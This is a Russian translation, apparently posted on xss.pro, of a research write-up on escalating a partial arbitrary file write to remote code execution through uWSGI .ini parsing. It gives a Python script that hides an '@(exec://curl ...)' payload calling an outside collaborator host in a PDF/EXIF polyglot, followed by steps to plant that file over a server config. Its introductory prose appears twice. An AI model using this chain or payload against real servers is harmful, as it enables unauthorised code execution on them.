Перевод: A New Vector For “Dirty” Arbitrary File Write to RCE для xss.pro кем: Marcus Aurelius
Уязвимости произвольной записи файлов (AFW) в загрузках веб-приложений могут стать мощным инструментом для злоумышленника, потенциально позволяя ему повысить свои привилегии и даже добиться удаленного выполнения кода (RCE) на сервере. Конкретная тактика, которая может быть использована для повышения привилегий, часто зависит от конкретного сценария, с которым сталкивается злоумышленник. Может существовать несколько сценариев, с которыми может столкнуться злоумышленник, пытаясь перейти от произвольной записи файлов (AFW) к удаленному выполнению кода (RCE) в веб-приложениях. В общем случае их можно разделить на следующие категории:
Приведенная ниже запись иллюстрирует реальную цепочку различных уязвимостей для получения произвольного выполнения команд в ходе одного из наших проектов, что привело к открытию нового метода. Это особенно полезно в том случае, если злоумышленник имеет лишь частичный контроль над содержимым внедряемого файла ("грязная запись") или когда над его содержимым выполняются преобразования на стороне сервера.
Пример "грязной" произвольной записи в файл
В нашем сценарии приложение имело уязвимый эндпоинт, через который злоумышленник мог выполнить Path Traversal и записывать/удалять файлы через функцию экспорта PDF. Связанная с ней функция отвечала за:
uWSGI Lax Parsing конфигурационных файлов
Приложение жертвы было развернуто через сервер приложений uWSGI (v2.0.15) на базе Flask-приложения, работая как менеджер процессов и монитор. uWSGI может быть настроен несколькими различными методами, поддерживая загрузку конфигурационных файлов через простые дисковые файлы (.ini). Нативная функция uWSGI, отвечающая за парсинг этих файлов, определена в core/ini.c:128 . Изначально конфигурационный файл полностью считывается в память и сканируется, чтобы найти строку, указывающую на начало правильной конфигурации uWSGI ("[uwsgi]"):
Что более важно, конфигурационные файлы uWSGI могут также включать "магические" переменные, заполнители и операторы, определенные с помощью точного синтаксиса. В частности, оператор '@' используется в форме @(filename) для включения содержимого файла. Поддерживаются многие схемы uWSGI, включая "exec" - полезную для чтения из стандартного вывода процесса. Эти операторы могут быть использованы для удаленного выполнения команд или произвольной записи/чтения файлов при парсинге конфигурационного файла .ini:
Конфигурация автоматической перезагрузки uWSGI
Хотя злоупотребление вышеупомянутыми .ini файлами является хорошим вектором, злоумышленнику все равно понадобится способ перезагрузить их (например, спровоцировать перезапуск службы через вторую DoS ошибку или дождаться перезапуска сервера). Чтобы помочь в этом, стандартный флаг конфигурации развертывания uWSGI может облегчить эксплуатацию ошибки. В некоторых случаях в конфигурации uWSGI можно указать опцию разработки py-auto-reload, для которой модули Python отслеживаются в течение определенного пользователем промежутка времени (в данном случае 3 секунды), указанного в качестве аргумента. Если обнаруживается изменение, это вызовет перезагрузку, например:
В этом сценарии прямая запись вредоносного кода Python в PDF не сработает, так как интерпретатор Python не сможет выполнить свою работу, столкнувшись с двоичными данными PDF. С другой стороны, перезапись файла .py с любыми данными приведет к перезагрузке конфигурационного файла uWSGI.
Собираем все вместе
В нашем сценарии экспорта PDF нам нужно было создать полиморфный, синтаксически корректный PDF-файл, содержащий корректный многострочный файл конфигурации .ini. Полезная нагрузка .ini должна была сохраняться при объединении с шаблоном PDF. Мы смогли встроить многострочный .ini пэйлоад в метаданные EXIF изображения, включенного в PDF. Для создания этого polyglot-файла мы использовали следующий сценарий:
Эти метаданные будут частью файла, записанного на сервере. В нашем случае eager-загрузка uWSGI подхватила новую конфигурацию и выполнила нашу полезную нагрузку curl. Полезную нагрузку можно проверить локально с помощью следующей команды:
Давайте используем ее на веб-сервере, выполнив следующие шаги:
Как было показано в этой статье, мы представили новую технику, основанную на uWSGI. Она дополняет тактику, уже используемую злоумышленниками в различных сценариях для повышения привилегий от произвольной записи файлов (AFW) в уязвимостях загрузки веб-приложений до удаленного выполнения кода (RCE). Эти техники постоянно развиваются вместе с серверными технологиями, и новые методы, несомненно, будут популяризироваться в будущем. Именно поэтому важно делиться известными векторами повышения привилегий с исследовательским сообществом. Мы призываем исследователей продолжать делиться информацией об известных векторах и продолжать поиск новых, менее популярных векторов.
Уязвимости произвольной записи файлов (AFW) в загрузках веб-приложений могут стать мощным инструментом для злоумышленника, потенциально позволяя ему повысить свои привилегии и даже добиться удаленного выполнения кода (RCE) на сервере. Конкретная тактика, которая может быть использована для повышения привилегий, часто зависит от конкретного сценария, с которым сталкивается злоумышленник. Может существовать несколько сценариев, с которыми может столкнуться злоумышленник, пытаясь перейти от произвольной записи файлов (AFW) к удаленному выполнению кода (RCE) в веб-приложениях. В общем случае их можно разделить на следующие категории:
- Контроль полного пути к файлу или только имени файла: В этом сценарии злоумышленник имеет возможность контролировать полный путь к файлу или к имени загруженного файла, но не к его содержимому. В зависимости от разрешений, примененных к целевому каталогу и целевому приложению, последствия могут варьироваться от отказа в обслуживании до вмешательства в логику приложения для обхода потенциальных функций, чувствительных к безопасности.
- Контроль только над содержимым файла: злоумышленник имеет контроль над содержимым загруженного файла, но не к его расположению. В этом случае степень влияния сильно варьируется из-за множества факторов.
- Полная произвольная запись файла: злоумышленник имеет контроль над обоими вышеперечисленными параметрами. Это часто приводит к удаленному выполнению кода с использованием различных методов.
- Перезапись или добавление файлов, которые будут обрабатываться сервером приложений:
- Файлы конфигурации (например, .htaccess, .config, web.config, httpd.conf, __init__.py и .xml).
- Исходные файлы, обслуживаемые из корня приложения (например, файлы .php, .asp, .jsp).
- Временные файлы
- Секретные файлы или файлы окружения (например, venv)
- Сериализованные файлы сессий
- Манипулирование procfs для выполнения произвольного кода
- Перезапись или добавление файлов, используемых или вызываемых ОС или другими демонами в системе:
- Crontab-скрипты
- Bash-скрипты
- .bashrc, .bash-profile и .profile
- authorized_keys и authorized_keys2 - для получения доступа к SSH.
- Злоупотребление eager-перезагрузкой ресурсов наблюдателей (supervisors)
Приведенная ниже запись иллюстрирует реальную цепочку различных уязвимостей для получения произвольного выполнения команд в ходе одного из наших проектов, что привело к открытию нового метода. Это особенно полезно в том случае, если злоумышленник имеет лишь частичный контроль над содержимым внедряемого файла ("грязная запись") или когда над его содержимым выполняются преобразования на стороне сервера.
Пример "грязной" произвольной записи в файл
В нашем сценарии приложение имело уязвимый эндпоинт, через который злоумышленник мог выполнить Path Traversal и записывать/удалять файлы через функцию экспорта PDF. Связанная с ней функция отвечала за:
- чтение существующего шаблона PDF и его потока
- объединение шаблона PDF и нового содержимого, предоставленного злоумышленником
- сохранение результатов в PDF-файле, названном злоумышленником.
Код:
drwxrwxr-x 6 root root 4096 Nov 18 13:48 .
-rw-rw-r-- 1 webuser webuser 373 Nov 18 13:46 /app/console/uwsgi-sockets.ini
uWSGI Lax Parsing конфигурационных файлов
Приложение жертвы было развернуто через сервер приложений uWSGI (v2.0.15) на базе Flask-приложения, работая как менеджер процессов и монитор. uWSGI может быть настроен несколькими различными методами, поддерживая загрузку конфигурационных файлов через простые дисковые файлы (.ini). Нативная функция uWSGI, отвечающая за парсинг этих файлов, определена в core/ini.c:128 . Изначально конфигурационный файл полностью считывается в память и сканируется, чтобы найти строку, указывающую на начало правильной конфигурации uWSGI ("[uwsgi]"):
C:
while (len) {
ini_line = ini_get_line(ini, len);
if (ini_line == NULL) {
break;
}
lines++;
// пропускаем пустую строку
key = ini_lstrip(ini);
ini_rstrip(key);
if (key[0] != 0) {
if (key[0] == '[') {
section = key + 1;
section[strlen(section) - 1] = 0;
}
else if (key[0] == ';' || key[0] == '#') {
// это комментарий
}
else {
// val всегда корректен, но (очевидно) может быть проигнорирован
val = ini_get_key(key);
if (!strcmp(section, section_asked)) {
got_section = 1;
ini_rstrip(key);
val = ini_lstrip(val);
ini_rstrip(val);
add_exported_option((char *) key, val, 0);
}
}
}
len -= (ini_line - ini);
ini += (ini_line - ini);
}
Что более важно, конфигурационные файлы uWSGI могут также включать "магические" переменные, заполнители и операторы, определенные с помощью точного синтаксиса. В частности, оператор '@' используется в форме @(filename) для включения содержимого файла. Поддерживаются многие схемы uWSGI, включая "exec" - полезную для чтения из стандартного вывода процесса. Эти операторы могут быть использованы для удаленного выполнения команд или произвольной записи/чтения файлов при парсинге конфигурационного файла .ini:
Код:
[uwsgi]
; чтение из символа
foo = @(sym://uwsgi_funny_function)
; чтение из двоичных данных с добавлением
bar = @(data://0)
; чтение с http
test = @(http://doyensec.com/hello)
; чтение из дескриптора файла
content = @(fd://3)
; чтение из stdout процесса
body = @(exec://whoami)
; вызов функции, возвращающей символ char *
characters = @(call://uwsgi_func)
Конфигурация автоматической перезагрузки uWSGI
Хотя злоупотребление вышеупомянутыми .ini файлами является хорошим вектором, злоумышленнику все равно понадобится способ перезагрузить их (например, спровоцировать перезапуск службы через вторую DoS ошибку или дождаться перезапуска сервера). Чтобы помочь в этом, стандартный флаг конфигурации развертывания uWSGI может облегчить эксплуатацию ошибки. В некоторых случаях в конфигурации uWSGI можно указать опцию разработки py-auto-reload, для которой модули Python отслеживаются в течение определенного пользователем промежутка времени (в данном случае 3 секунды), указанного в качестве аргумента. Если обнаруживается изменение, это вызовет перезагрузку, например:
Код:
[uwsgi]
home = /app
uid = webapp
gid = webapp
chdir = /app/console
socket= 127.0.0.1:8001
wsgi-file = /app/console/uwsgi-sockets.py
gevent = 500
logto = /var/log/uwsgi/%n.log
harakiri = 30
vacuum= True
py-auto-reload = 3
callable = app
pidfile = /var/run/uwsgi-sockets-console.pid
log-maxsize = 100000000
log-backupname = /var/log/uwsgi/uwsgi-sockets.log.bak
В этом сценарии прямая запись вредоносного кода Python в PDF не сработает, так как интерпретатор Python не сможет выполнить свою работу, столкнувшись с двоичными данными PDF. С другой стороны, перезапись файла .py с любыми данными приведет к перезагрузке конфигурационного файла uWSGI.
Собираем все вместе
В нашем сценарии экспорта PDF нам нужно было создать полиморфный, синтаксически корректный PDF-файл, содержащий корректный многострочный файл конфигурации .ini. Полезная нагрузка .ini должна была сохраняться при объединении с шаблоном PDF. Мы смогли встроить многострочный .ini пэйлоад в метаданные EXIF изображения, включенного в PDF. Для создания этого polyglot-файла мы использовали следующий сценарий:
Python:
from fpdf import FPDF
from exiftool import ExifToolHelper
with ExifToolHelper() as et:
et.set_tags(
["doyensec.jpg"],
tags={"model": "
[uwsgi]
foo = @(exec://curl http://collaborator-unique-host.oastify.com)
"},
params=["-E", "-overwrite_original"]
)
class MyFPDF(FPDF):
pass
pdf = MyFPDF()
pdf.add_page()
pdf.image('./doyensec.jpg')
pdf.output('payload.pdf', 'F')
Эти метаданные будут частью файла, записанного на сервере. В нашем случае eager-загрузка uWSGI подхватила новую конфигурацию и выполнила нашу полезную нагрузку curl. Полезную нагрузку можно проверить локально с помощью следующей команды:
Код:
uwsgi --ini payload.pdf
Давайте используем ее на веб-сервере, выполнив следующие шаги:
- Загрузите файл payload.pdf в /app/console/uwsgi-sockets.ini
- Дождитесь перезагрузки сервера или принудительно перезагрузите uWSGI, перезаписав все .py
- Проверьте обратный вызов, сделанный curl на коллабораторе Burp.
Как было показано в этой статье, мы представили новую технику, основанную на uWSGI. Она дополняет тактику, уже используемую злоумышленниками в различных сценариях для повышения привилегий от произвольной записи файлов (AFW) в уязвимостях загрузки веб-приложений до удаленного выполнения кода (RCE). Эти техники постоянно развиваются вместе с серверными технологиями, и новые методы, несомненно, будут популяризироваться в будущем. Именно поэтому важно делиться известными векторами повышения привилегий с исследовательским сообществом. Мы призываем исследователей продолжать делиться информацией об известных векторах и продолжать поиск новых, менее популярных векторов.